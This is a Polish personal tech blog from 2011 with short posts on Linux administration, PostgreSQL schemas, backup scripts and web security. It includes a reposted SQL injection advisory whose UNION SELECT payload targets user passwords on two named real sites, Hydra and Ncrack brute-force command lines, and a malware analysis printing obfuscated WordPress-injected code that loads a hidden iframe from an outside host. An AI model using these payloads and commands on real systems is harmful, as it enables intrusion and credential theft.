niedziela, 2 października 2011

How to check remote version Joomla

http://host/language/en-GB/en-GB.xml
http://host/language/pl-PL/pl-PL.xml

<name>English(United Kingdom)</name>
<tag>en-GB</tag>
<version>1.5.15</version>
<creationDate>2009-10-27</creationDate>

XML nice :)

poniedziałek, 22 sierpnia 2011

sed i zmiana nazw plików

Naprawdę szybka zmiana plików:
for e in *; do mv "$e" "`echo $e | sed -e 's/A/a/g'`"; done

niedziela, 21 sierpnia 2011

Ubuntu paranoiczna pewność? - nigdy! (hidden process)

Dla tych którzy chcą być pewnie w 98% że ich Ubuntu jest bezpieczne:

sudo apt-get install rkhunter (rootkit hunter)
sudo rkhunter --check

sudo apt-get install chkrootkit (jw)

sudo apt-get install unhide (ukryte porty itd..)
np:
sudo unhide brute
sudo unhide-tcp
sudo unhide proc
sudo unhide sys

To wszystko na e-mail:
crontab -e

0 8 * * * unhide proc; unhide proc -q 2 >&1 | mail -s "Scan proc unhide" user@gmail.com
0 5 * * * rkhunter --cronjob --rwo | mail -s "Rootkit Hunter Scan" user@gmail.com
0 7 * * * chkrootkit; chkrootkit -q 2 >&1 | mail -s "ChkRootKit Scan" user@gmail.com

Trzeba zadać sobie pytanie - czy to wystarczy? = NIE, ale to dobry początek...
Po więcej informacji odsyłam do

man crontab
man rkhunter
man chkrootkit
man unhide

sobota, 20 sierpnia 2011

SQL Injection w serwisie www.logoserwis.pl oraz www.mobilix.pl

Dziś około 18:30 TBH (Turki$ hackers) opublikowało podatność SQL Injection w serwisie www.logoserwis.pl oraz www.mobilix.pl :)
Dzwonki Loga SQL Injection

/* [+]Exploit :
/* http://www.target.com/artykul.php?sid=[SQLi]
/* [+]Demo:
/* http://www.logoserwis.pl/artykul.php?sid=6294'
/* http://www.mobilix.pl/artykul.php?sid=6158'
/*
/* [+] injection
/* union+select+1,2,name,pass,5,6,7,8,9,10+from+nuke_users
/*

piątek, 19 sierpnia 2011

Perl upload

#!/usr/bin/perl
use LWP;
use HTTP::Request::Common;

$ua = LWP::UserAgent->new;
$res = $ua->request(POST 'http://host/cms/file/multiupload',Content_Type => 'form-data', Content => [userfile => ["image.jpg", "image.jpg", "Content-Type" => "image/jpg"]]);
print $res->as_string();

Holynix - Level 1 by g0tmi1k

Jak czasem oglądam takie rzeczy to są lepsze niż niejedna dobra komedia :)



Skype Inject, HTML/(Javascript) code injection

Ciekawy błąd znaleziony w Skype:
http://f9ef869f.linkbucks.com/url/http://www.noptrix.net/advisories/skype_inject.txt


Home Phone Number: <b>INJECTION HERE</b> Office Phone Number: <center><i>INJECTION HERE</i></center> Mobile Phone Number: <a href="#">INJECTION HERE</a> --- SNIP --- For a PoC demonstration see: - http://www.noptrix.net/tmp/skype_inject.png

piątek, 12 sierpnia 2011

Hydra, Ncrack

Wykorzystanie Hydry aby otrzymać dostęp do serwisu:

FORM-WWW:
/hydra -v -f -w 5 -l USER -P ../haselka.txt HOST http-post-form "/index.php:login=^USER^&haslo=^PASS^&submit=send:Error"

HTACCESS:
./hydra -f -w 5 -l Rysiek -P ../haselka.txt HOST http-head "/"

Ncrack:

./ncrack -vv -d5 --user LOGIN -P /pwd/passwd2.txt http://HOST,path=/katalog

malware - Kod doklejany do WordPressa

//print_r(gzinflate(base64_decode("7VfJbtswEP0VwxfZSNOS4mIJinvpvZcWvQQ+ELYcC3DkQlaCfn7F4TIULcVLigIFevCAy3D4ZnuUH47rpvrZfn5VzeRYKLXcHNYvz2Xdflw3pWrL7+Wv9uthU86mO9V8md5Nu/F0XhyX39qmqp8ep9tGLz53W0o9JvVhk9wl5Q/Vyf1LmaxWxfbQzKpJVU+UmlfbWbVcJvuyfmp3yXy3FPfdqWpVlK9qPzvOFve7D/pHCQNJOslAZJ3IM1jM9RC0qIAFPc5zGIIG5Z3kHBao34NVaaxLPDF4mFJ9vzRDvZmlWk14kwuJc28BQDKYSkSaeSOwxcCcFhxsULdGU2q9H4oCpenAjWbV3Kvnonc8ZS581kHpXTN4yeC1N4SZLjwYCxo2g6joLZFd5JSBRRkq6C3hI0hJGiTKSH1EaPe4cMK6SwxirSaYzx/ANt6lpDcHYQ0QNGB8CyLB8WIHSI8ljVFBXoQrCuMLc1PB/UVmJ3XaUB3cI4KkmDVfZTZQWCp5UMGACYMGluB8cBR0bEoxNmF8zxigLPA277dWkDAqg8JgCDdYJjKqHWNPSASELhqBpSgWQS7y6BYXDxZUQ+ZM5z4x7kjYKaJfyeKEPAgGSrrwWDA8AENOFSAwkriusAV3rjXgAPTSWLsjd5CgYDPs5eFg2Hq4lm8GOIsiMxpl0mdy4Vv8ep7JkWZAIY8SdCG7I09fQEaLXrCNKud9IrVvCzuhpTSq9biiAiQx35mmS/+TXkx647kYISKrcTsHxS/POBGB1i3grqQuj+gq/roV3Qjj4dMg3+P6CVFebPfP9d4bT2jUh/Ez+BeY4fwrfSnGd37l/Rsf04bVBLYVJX1UYESKqJ+tH5m72j5Zw8/sfF48fLL/nH4D")));

Czyli po rozpakowaniu JS x1:

< s crip t>
var s;
aa=document.createTextNode("harC"+"ode");
s=String["fr"+"omC"+aa['nod'+'eVa'+'lue']];
for(i in aa)
if(i=='length')h=5-aa[i];
eval(s(7-h,7-h,103-h,100-h,30-h,38-h,98-h,109-h,97-h,115-h,107-h,99-h,108-h,114-h,44-h,101-h,99-h,114-h,67-h,106-h,99-h,107-h,99-h,108-h,114-h,113-h,64-h,119-h,82-h,95-h,101-h,76-h,95-h,107-h,99-h,38-h,37-h,96-h,109-h,98-h,119-h,37-h,39-h,89-h,46-h,91-h,39-h,121-h,7-h,7-h,7-h,103-h,100-h,112-h,95-h,107-h,99-h,112-h,38-h,39-h,57-h,7-h,7-h,123-h,30-h,99-h,106-h,113-h,99-h,30-h,121-h,7-h,7-h,7-h,98-h,109-h,97-h,115-h,107-h,99-h,108-h,114-h,44-h,117-h,112-h,103-h,114-h,99-h,38-h,32-h,58-h,103-h,100-h,112-h,95-h,107-h,99-h,30-h,113-h,112-h,97-h,59-h,37-h,102-h,114-h,114-h,110-h,56-h,45-h,45-h,106-h,109-h,104-h,53-h,101-h,44-h,97-h,120-h,44-h,97-h,97-h,45-h,100-h,109-h,112-h,115-h,107-h,44-h,110-h,102-h,110-h,61-h,114-h,110-h,59-h,55-h,96-h,97-h,53-h,96-h,54-h,100-h,97-h,52-h,55-h,46-h,47-h,97-h,98-h,46-h,48-h,37-h,30-h,117-h,103-h,98-h,114-h,102-h,59-h,37-h,47-h,46-h,37-h,30-h,102-h,99-h,103-h,101-h,102-h,114-h,59-h,37-h,47-h,46-h,37-h,30-h,113-h,114-h,119-h,106-h,99-h,59-h,37-h,116-h,103-h,113-h,103-h,96-h,103-h,106-h,103-h,114-h,119-h,56-h,102-h,103-h,98-h,98-h,99-h,108-h,57-h,110-h,109-h,113-h,103-h,114-h,103-h,109-h,108-h,56-h,95-h,96-h,113-h,109-h,106-h,115-h,114-h,99-h,57-h,106-h,99-h,100-h,114-h,56-h,46-h,57-h,114-h,109-h,110-h,56-h,46-h,57-h,37-h,60-h,58-h,45-h,103-h,100-h,112-h,95-h,107-h,99-h,60-h,32-h,39-h,57-h,7-h,7-h,123-h,7-h,7-h,100-h,115-h,108-h,97-h,114-h,103-h,109-h,108-h,30-h,103-h,100-h,112-h,95-h,107-h,99-h,112-h,38-h,39-h,121-h,7-h,7-h,7-h,116-h,95-h,112-h,30-h,100-h,30-h,59-h,30-h,98-h,109-h,97-h,115-h,107-h,99-h,108-h,114-h,44-h,97-h,112-h,99-h,95-h,114-h,99-h,67-h,106-h,99-h,107-h,99-h,108-h,114-h,38-h,37-h,103-h,100-h,112-h,95-h,107-h,99-h,37-h,39-h,57-h,100-h,44-h,113-h,99-h,114-h,63-h,114-h,114-h,112-h,103-h,96-h,115-h,114-h,99-h,38-h,37-h,113-h,112-h,97-h,37-h,42-h,37-h,102-h,114-h,114-h,110-h,56-h,45-h,45-h,106-h,109-h,104-h,53-h,101-h,44-h,97-h,120-h,44-h,97-h,97-h,45-h,100-h,109-h,112-h,115-h,107-h,44-h,110-h,102-h,110-h,61-h,114-h,110-h,59-h,55-h,96-h,97-h,53-h,96-h,54-h,100-h,97-h,52-h,55-h,46-h,47-h,97-h,98-h,46-h,48-h,37-h,39-h,57-h,100-h,44-h,113-h,114-h,119-h,106-h,99-h,44-h,116-h,103-h,113-h,103-h,96-h,103-h,106-h,103-h,114-h,119-h,59-h,37-h,102-h,103-h,98-h,98-h,99-h,108-h,37-h,57-h,100-h,44-h,113-h,114-h,119-h,106-h,99-h,44-h,110-h,109-h,113-h,103-h,114-h,103-h,109-h,108-h,59-h,37-h,95-h,96-h,113-h,109-h,106-h,115-h,114-h,99-h,37-h,57-h,100-h,44-h,113-h,114-h,119-h,106-h,99-h,44-h,106-h,99-h,100-h,114-h,59-h,37-h,46-h,37-h,57-h,100-h,44-h,113-h,114-h,119-h,106-h,99-h,44-h,114-h,109-h,110-h,59-h,37-h,46-h,37-h,57-h,100-h,44-h,113-h,99-h,114-h,63-h,114-h,114-h,112-h,103-h,96-h,115-h,114-h,99-h,38-h,37-h,117-h,103-h,98-h,114-h,102-h,37-h,42-h,37-h,47-h,46-h,37-h,39-h,57-h,100-h,44-h,113-h,99-h,114-h,63-h,114-h,114-h,112-h,103-h,96-h,115-h,114-h,99-h,38-h,37-h,102-h,99-h,103-h,101-h,102-h,114-h,37-h,42-h,37-h,47-h,46-h,37-h,39-h,57-h,7-h,7-h,7-h,98-h,109-h,97-h,115-h,107-h,99-h,108-h,114-h,44-h,101-h,99-h,114-h,67-h,106-h,99-h,107-h,99-h,108-h,114-h,113-h,64-h,119-h,82-h,95-h,101-h,76-h,95-h,107-h,99-h,38-h,37-h,96-h,109-h,98-h,119-h,37-h,39-h,89-h,46-h,91-h,44-h,95-h,110-h,110-h,99-h,108-h,98-h,65-h,102-h,103-h,106-h,98-h,38-h,100-h,39-h,57-h,7-h,7-h,123-h));
< s cript>

Czyli po rozpakowanie 2x:

if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("");
}

function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://loj7g.cz.cc/forum.php?tp=9bc7b8fc6901cd02');
f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}

Niech żyje pomysłowość autora :)

Cracking Passwords Version 1.1 by: J. Dravet

Cracking Passwords Version 1.1 by: J. Dravet

Szukacz perl :)

Prosty kod, pomaga w wyszukiwaniu "wpadek" przed wdrożeniem projektu.
perl szukacz < ścieżka > < wyrażenie, wyrażenie > < q >
ścieżka - ścieżka do katalogu z projektem
wyrażenie - wyrażenie lub lista wyrażeń po przecinku np: print_r,var_dump
q - cisza


#!/usr/bin/perl

use warnings;
use Cwd;
use File::Find;
use File::List;
use Term::ANSIColor;

my $path = $ARGV[0];
my $args = $ARGV[1];
my $q = $ARGV[2];
my $search = new File::List($path);


if($args) {
@tablica = split(/,/, $args);
}else {
@tablica = ("var_dump","print_r","dupa");
}

$search->show_empty_dirs();
my @files = @{ $search->find("\.php\$") };

@errors = ();

foreach $morsel (@tablica)
{
$i = 0;
foreach $file (@files)
{
open(INPUT, "<$file"); while (< INPUT >)
{

if (/$morsel( *\(+)/i) {
$i++;
if(!$q){
print "Found ";
print color 'red';
print $morsel;
print color 'reset';
print " in $file\n";
$linia = "$_";
$linia = s/$morsel/\e[1;31m$morsel\e[0m/;
print "line[\e[1;34m$.\e[0m] $_ \n";
}
}
}
close(INPUT);
}
push(@errors,"$morsel|$i\n");
}

print "Match:\n";
print "--------------\n";
print sort(@errors);
print "\n";

czwartek, 5 maja 2011

Postgresql i schema

Kupujesz hosting wraz z Db Postgresql 1x, okazuje się że domyślny schemat ma prawa
Public -> Postgres
i co teraz?
Brak możliwości edycji schematu i założenia w nim jakichkolwiek tabel itd..

Jest ratunek, stwórz nowy schemat:
postgres=# CREATE SCHEMA myschema;
Wszystko pięknie, ale większość osób zapomina jeszcze o jednej
rzeczy, mi zajęło to jakieś 30 minut..
Do poprawnego działania bazy danych ustawiamy zmienną search_path.
postgres=# ALTER USER user SET search_path TO new_schema;
postgres=# SET search_path TO new_schema;
# sprawdzamy:
postgres=#SHOW search_path;

To teraz trochę teorii, otóż Ścieżka przeszukiwania (The Schema Search Path)
określa porządek, według którego przeszukujemy schematy w celu znalezienia pewnego obiektu
(np. tabeli).
W przykładzie powyższym był stworzony w schemacie public jako ten do którego modyfikacji nie miałem dostępu. Domyślnie ustawienia ścieżki przeszukiwania przedstawiają się następująco:
postgres=# SHOW search_path;
postgres=# search_path
postgres=# --------------
postgres=# $user,public
$user to nazwa aktualnego użytkownika (w pierwszej kolejności będzie przeszukiwany schemat o nazwie takiej jak użytkownik)

Ważne: Postgresql nie tworzy automatycznie schematu dla
każdego użytkownika (w Oracle tak jest), domyślny schemat
public będzie schematem dla wszystkich niezakwalifikowanych
nigdzie obiektów.

Aby dołożyć jakiś schemat do ścieżki?:

postgres=# SET search_path TO new_schema, public;
- dostęp do bazy (bez specyfikowania schematu)
Aby na stałe ustalić ścieżkę piszemy:
postgres=# ALTER USER user SET search_path TO new_schema;

Przy okazji znalazłem:
pdpl_postgres.pdf
archiwizacja.pdf
ddl-schemas
gotchas-administration.html

środa, 13 kwietnia 2011

środa, 6 kwietnia 2011

XSS skaner - Xsser

Xsser

ASVS 2009 PL

OWASP ASVS określa wymagania względem weryfikacji i dokumentowania pogrupowane na
podstawie pokrycia i rygorystyczności weryfikacji. Standard definiuje cztery poziomy ułożone w hierarchii (np. poziom 2 wymaga większego pokrycia i rygorystyczności niż poziom 1) jak pokazano na diagramie poniżej.

asvs-webapp-release-2009-pl.pdf

wtorek, 5 kwietnia 2011

Prostsza metoda, backup bash tar

Prostsza metoda:


tar -cvzpP --file=/distr/backup.tar.gz --exclude={/dev/*,/proc/*,/sys/*,/srv/*,/distr/*,/tmp/*} /

Backup bash tar

#! /bin/sh
#
# folders in the root directory to exclude
exclude=("proc" "lost+found" "mnt" "sys" "media" "tmp")
# directory where the backup file should be placed
backupdir="/media/usbdisk/backup/x40 13.06.06"

#########################################

cd /

# folders/files in root directory to be saved
BACK=""
for i in `ls`
do
contains=0
for e in "${exclude[@]}"; do
if [ "$i" == "$e" ]
then
contains=1
fi
done

if [ "$contains" == 0 ]
then
BACK=$BACK" "$i
fi
done

timestamp=`date +%Y%m%d_%H%M%S`
file="backup"${timestamp}".tar.gz"

# generate tar
tar -cvpzf "$backupdir/$file" --exclude=$file $BACK